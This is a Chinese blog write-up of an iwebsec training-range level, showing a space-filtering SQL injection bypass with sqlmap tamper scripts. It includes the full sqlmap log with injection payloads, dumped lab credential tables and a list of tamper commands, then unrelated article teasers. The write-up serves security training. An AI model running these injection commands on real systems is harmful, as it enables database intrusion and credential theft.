iwebsec靶场 SQL注入漏洞通关笔记7- 空格过滤绕过

news2025/1/24 17:46:44

系列文章目录

iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记3- bool注入(布尔型盲注)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入(报错型盲注)_mooyuan的博客-CSDN博客
iwebsec靶场 SQL注入漏洞通关笔记6- 宽字节注入_mooyuan的博客-CSDN博客
 

目录

系列文章目录

前言

一、源码分析

二、sqlmap注入

1.注入命令

 2.完整交互过程

3.多种渗透方法合集

总结


前言

打开靶场,url为 http://192.168.71.151/sqli/07.php?id=1 如下所示

一、源码分析

如下所示,SQL语句与前几关一样,调用的语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";很明显这是一个普通的数字型注入,并且对参数id做了空格过滤。

空格过滤的相关源码如下所示

if (preg_match('/ /', $_GET["id"])) {
		die("ERROR");
	}

二、sqlmap注入

1.注入命令

使用sqlmap的绕waf脚本space2comment.py,将空格使用注释符替换

sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2comment.py

--tamper "space2comment.py"

补充:

脚本名: space2comment.py 

作用:Replaces space character  ' '  with comments   /**/

也就是用注释/**/替换空格字符' '

如下所示,渗透成功

 2.完整交互过程

完整的注入交互如下所示

kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2comment.py
        ___
       __H__                                                                                                                                                                                                                               
 ___ ___[']_____ ___ ___  {1.5.11#stable}                                                                                                                                                                                                  
|_ -| . ["]     | .'| . |                                                                                                                                                                                                                  
|___|_  [)]_|_|_|__,|  _|                                                                                                                                                                                                                  
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:52:15 /2022-11-24/

[23:52:15] [INFO] loading tamper module 'space2comment'
[23:52:15] [INFO] testing connection to the target URL
[23:52:15] [INFO] checking if the target is protected by some kind of WAF/IPS
[23:52:15] [INFO] testing if the target URL content is stable
[23:52:15] [INFO] target URL content is stable
[23:52:15] [INFO] testing if GET parameter 'id' is dynamic
[23:52:16] [WARNING] GET parameter 'id' does not appear to be dynamic
[23:52:16] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[23:52:16] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[23:52:16] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[23:52:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:52:16] [WARNING] reflective value(s) found and filtering out
[23:52:16] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[23:52:16] [INFO] GET parameter 'id' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --string="age")
[23:52:16] [INFO] testing 'Generic inline queries'
[23:52:16] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[23:52:16] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[23:52:16] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[23:52:16] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[23:52:16] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[23:52:16] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[23:52:16] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[23:52:16] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[23:52:16] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[23:52:16] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
[23:52:16] [INFO] testing 'MySQL inline queries'
[23:52:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[23:52:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[23:52:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[23:52:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[23:52:16] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[23:52:16] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[23:52:16] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[23:52:26] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[23:52:26] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[23:52:26] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[23:52:26] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[23:52:26] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[23:52:26] [INFO] target URL appears to have 3 columns in query
[23:52:26] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 68 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (9753=9753) THEN 1 ELSE (SELECT 3710 UNION SELECT 2663) END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 9472 FROM(SELECT COUNT(*),CONCAT(0x717a6b7a71,(SELECT (ELT(9472=9472,1))),0x716b766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 8269 FROM (SELECT(SLEEP(5)))EapV)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x717a6b7a71,0x53517459567341764153487178596c4b74764f51697a6e4e595654686774574447434b4865697356,0x716b766271)#
---
[23:52:26] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[23:52:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6
web application technology: Apache 2.2.15, PHP 5.2.17
back-end DBMS: MySQL >= 5.0
[23:52:26] [INFO] fetching current database
current database: 'iwebsec'
[23:52:26] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[23:52:26] [INFO] fetching current database
[23:52:26] [INFO] fetching tables for database: 'iwebsec'
[23:52:26] [INFO] fetching columns for table 'xss' in database 'iwebsec'
[23:52:26] [INFO] fetching entries for table 'xss' in database 'iwebsec'
Database: iwebsec
Table: xss
[5 entries]
+----+------------------------------------+
| id | name                               |
+----+------------------------------------+
| 7  | <img src=1 onerror=alert(/ctfs/)/> |
| 6  | <img src=1 onerror=alert(/ctfs/)/> |
| 5  | <img src=1 onerror=alert(/ctfs/)/> |
| 1  | iwebsec                            |
| 8  | <?php phpinfo();?>                 |
+----+------------------------------------+

[23:52:27] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
[23:52:27] [INFO] fetching columns for table 'user' in database 'iwebsec'
[23:52:27] [INFO] fetching entries for table 'user' in database 'iwebsec'
Database: iwebsec
Table: user
[3 entries]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1  | pass1    | user1    |
| 2  | pass2    | user2    |
| 3  | pass3    | user3    |
+----+----------+----------+

[23:52:27] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
[23:52:27] [INFO] fetching columns for table 'users' in database 'iwebsec'
[23:52:27] [INFO] fetching entries for table 'users' in database 'iwebsec'
Database: iwebsec
Table: users
[1 entry]
+-------+-------------+----------+
| role  | password    | username |
+-------+-------------+----------+
| admin | mall123mall | orange   |
+-------+-------------+----------+

[23:52:27] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
[23:52:27] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
[23:52:27] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
Database: iwebsec
Table: sqli
[7 entries]
+----+-----------------------+----------+------------------------------------------------------+
| id | email                 | password | username                                             |
+----+-----------------------+----------+------------------------------------------------------+
| 1  | user1@iwebsec.com     | pass1    | user1                                                |
| 2  | user2@iwebsec.com     | pass2    | user2                                                |
| 3  | user3@iwebsec.com     | pass3    | user3                                                |
| 4  | user4@iwebsec.com     | admin    | admin                                                |
| 5  | 123@123.com           | 123      | 123                                                  |
| 6  | 1234@123.com          | 123      | ctfs' or updatexml(1,concat(0x7e,(version())),0)#    |
| 7  | iwebsec02@iwebsec.com | 123456   | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
+----+-----------------------+----------+------------------------------------------------------+

[23:52:27] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
[23:52:27] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
[23:52:27] [WARNING] your sqlmap version is outdated

[*] ending @ 23:52:27 /2022-11-24/

3.多种渗透方法合集

实际上sqlmap在过滤空格有多个渗透脚本可以尝试,如下所示均可以渗透成功,大家可以多多实验

sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2comment.py
sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2plus.py
sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2hash.py
sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2mssqlblank.py
sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2mysqlblank.py
sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2randomblank.py
sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2mssqlhash.py
sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2mysqldash.py
sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper  space2morehash.py

总结

SQL注入主要分析几个内容

(1)闭合方式是什么?iwebsec的第7关关卡为数字型,无闭合

(2)注入类别是什么?这部分是普通的数字型注入,使用union法即可注入成功

(3)是否过滤了关键字?很明显通过源码,iwebsec的第07关卡过滤了空格

了解了如上信息就可以针对性进行SQL渗透,使用sqlmap工具渗透更是事半功倍,以上就是今天要讲的数字型注入内容,初学者建议按部就班先使用手动注入练习,再进行sqlmap渗透。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/40103.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

关于mac上如何U盘

关于mac上如何U盘 背景 使用macbook的大概都会遇到 “如何连接U盘” 的问题&#xff0c;网上会搜到很多教程&#xff0c;我觉得很多都不太实用。 首先这个需求是有的&#xff0c;但是对很多人来说很低频几个月用不到一次&#xff0c;所以得找个顺手靠谱的方法。下面是我经历…

【机器学习入门项目10例】(十):PCA降维:简易人脸识别模型

🌠 『精品学习专栏导航帖』 🐳最适合入门的100个深度学习实战项目🐳🐙【PyTorch深度学习项目实战100例目录】项目详解 + 数据集 + 完整源码🐙🐶【机器学习入门项目10例目录】项目详解 + 数据集 + 完整源码🐶🦜【机器学习项目实战10例目录】项目详解 + 数据集 +

C++——电话号码的字母组合问题

文章目录电话号码的字母组合题目链接思路&#xff1a;代码&#xff1a;调试演示电话号码的字母组合 题目链接 思路&#xff1a; 首先使用string类的数组存储每个数字对应的所有可能的字母&#xff0c;然后进行回溯操作。 string arr[] { "","","…

分享88个NET源码,总有一款适合您

链接&#xff1a;https://pan.baidu.com/s/1dPlj8w-rvVQXuJOHPO6tBA?pwddj0d 提取码&#xff1a;dj0d 下面是文件的名字&#xff0c;我放了一些图片&#xff0c;文章里不是所有的图主要是放不下...&#xff0c;大家下载后可以看到。 启明星Appform员工请假系统 25175云酒店管…

微模块化炙手可热,数据中心走向智能化取胜

近年来&#xff0c;“微模块化”成为数据中心领域炙手可热的话题。 Gartner《企业数据中心未来趋势报告》预测&#xff0c;AI、5G、新型电池、模块化设计思想等将改变数据中心的未来&#xff0c;数据中心将走向分散化&#xff0c;并且预计到2025年&#xff0c;微数据中心的数量…

(附源码)python电影院信息管理系统 毕业设计 021844

电影院信息管理系统的设计与实现 摘 要 在信息飞速发展的今天&#xff0c;网络已成为人们重要的信息交流平台。电影院每天都有大量的信息需要通过网络发布&#xff0c;为此&#xff0c;本人开发了一个基于B/S&#xff08;浏览器/服务器&#xff09;模式的电影院信息管理系统。 …

你的NET程序需要保护吗?Agile.net 6.6.X 注入式Crack

Agile.net 使用专利技术将 MSIL 代码转换为虚拟操作码&#xff0c;只有安全的虚拟机才能理解。虚拟机直接处理虚拟操作码&#xff0c;模拟原始代码行为而不将代码转换回其原始形式。破坏保护成为NP完全问题&#xff0c;从而使Agile.net成为唯一保证您的代码不会被破坏的混淆器&…

【保姆级】手把手Debug循环依赖的整体流程

我们先看一下循环依赖&#xff0c;这样看、 或者这样看、 一提到循环依赖基本必提三级缓存&#xff0c;本篇又是篇保姆级的Debug教程&#xff0c;详解出现循环依赖Spring处理的全过程&#xff0c;之前也介绍过一些与本篇相关的内容&#xff1a; 想瞅瞅三级缓存的庐山真面目可以…

2022/11/27[指针] 指针与函数基础

程序&#xff1a;求10个数的最大数 1、定义指向函数的指针变量调用函数的方法 一般定义形式为&#xff1a;类型名 &#xff08;*指针变量名)()&#xff1b; #include<stdio.h> int main() {int i, m, a[10], max(int* p);int (*f)();for (i 0; i < 10; i)scanf_s(&q…

牛客网基础知识强化巩固-周结03

数组强化训练篇 2022-11-21 打卡 知识点总结 什么是渐进时间复杂度 渐进时间复杂度是指n趋于无穷时的复杂度。向有序表中任意一个位置插入元素&#xff0c;插入位置之后的元素依次挪动一个位置&#xff0c;假设元素插入的位置坐标为k&#xff0c;则时间复杂度为O(k)&#xf…

名词性从句

目录 1.名词性从句 1.1陈述句 1.2一般疑问句变名词性从句 1.3特殊疑问句变名词性从句 1.4特别的what 2.同位语从句 3.同位语从句与定语从句的区别 4.同位语从句的巅峰知识点 5.主语从句 5.2 并列主语从句 5.3主语从句巅峰知识点 6.宾语从句 主系表是不能被动的。所以第…

WPF-控件的常用属性-单例-隧道事件

特殊字符 小于< 大于> 空格xml:space"preserve" 例如&#xff1a;TextBox Grid.Column"1" xml:space"preserve">aaaaa .</TextBox> 从一个xaml文件中获取xaml内容 //DependencyObject是wpf控件的基类&#xff0c;它可以放到…

Ubuntu 安装“安装程序向硬盘复制文件时遇到错误[Errno 5] Input/output error”错误解决过程记录

前阵子装 Ubuntu&#xff0c;原本已经装了几百遍的系统它又双叒叕出问题了&#xff0c;问题内容就如标题看到的那样。解决过程中经历了很多坎坷&#xff0c;不过好在最后还是成功了~ 下面整理了一下我解决问题的过程&#xff0c;需要自取~ 方法 1&#xff1a;烧录 U 盘时文件格…

chapter3——处理多个时钟

目录1.多时钟域2.多时钟域设计的难题3.多时钟设计的处理技术时钟命名规则分模块设计跨时钟域4.跨时钟域同频零相位差时钟同频恒定相位差时钟非同频、可变相位差时钟整数倍频率的时钟非整数倍频率的时钟5.握手信号方法6.使用同步FIFO传输数据7.异步FIFO1.多时钟域 常见的多时钟…

linux环境验证c++程序库间调用

目录 0 背景 1 VMware、以及linux安装 2 安装QtCreator 2.1 下载速度慢&#xff0c;使用国内镜像 2.2 执行有问题&#xff0c;修改权限 2.3 验证是否可用 2.4 调试&#xff08;待解决&#xff09; 3 开发程序进行验证 4 其他问题 4.1 虚拟机与主机无法拷贝文件&#x…

python3-函数与参数以及空值

目录画星星空值None函数与Lambda一、函数定义二、引用变量查找三、传值调用函数四、函数对象五、函数文档旋转角度绘制函数图形画星星 程序2-7-7主要使用turtle.forward前进操作和turtle.left左转操作在屏幕上画星星。 #!/usr/bin/env python3 # -*- coding: utf-8 -*- #2-7-…

操作符详解(1)

目录 一、操作符分类 二、算术操作符 三、位移操作符 1、<< 左位移操作符号 2、>> 右位移操作符 四、位操作符 1、& --- 按位与 2、| --- 按位或 3、^ --- 按位异或 变态题 五、赋值操作符 符合赋值符 一、操作符分类 操作符也被称为运算符。 …

小程序注册安装以及新手快速入门教程

一、注册并安装微信小程序 1.打开 https&#xff1a;//mp.weixin.qq.com/ 网址&#xff0c;点击立即注册即可进入小程序开发账号的注册流程&#xff0c;注册的账号类型选择小程序。 2.根据注册要求注册&#xff0c;发送邮箱信息&#xff0c;接收到微信团队发送的邮箱信息后&am…

水泥行业工业互联网平台(CCPS)解决方案

水泥行业经过过去十年的发展和调整&#xff0c;基本实现了集团化。集团管控当前面临的主要问题是数字的分散化和碎片化&#xff0c;建设工业互联网是新时期加强集团管控的必经之路。 CCPS平台优势 1.融合SOA理念的架构平台和系统框架。具有跨平台、易维护、可集成、可扩展、分…

Spark - 介绍及使用 Scala、Java、Python 三种语言演示

一、Spark Apache Spark 是一个快速的&#xff0c;多用途的集群计算系统&#xff0c; 相对于 Hadoop MapReduce 将中间结果保存在磁盘中&#xff0c; Spark 使用了内存保存中间结果&#xff0c; 能在数据尚未写入硬盘时在内存中进行运算。 Spark 只是一个计算框架, 不像 Hadoo…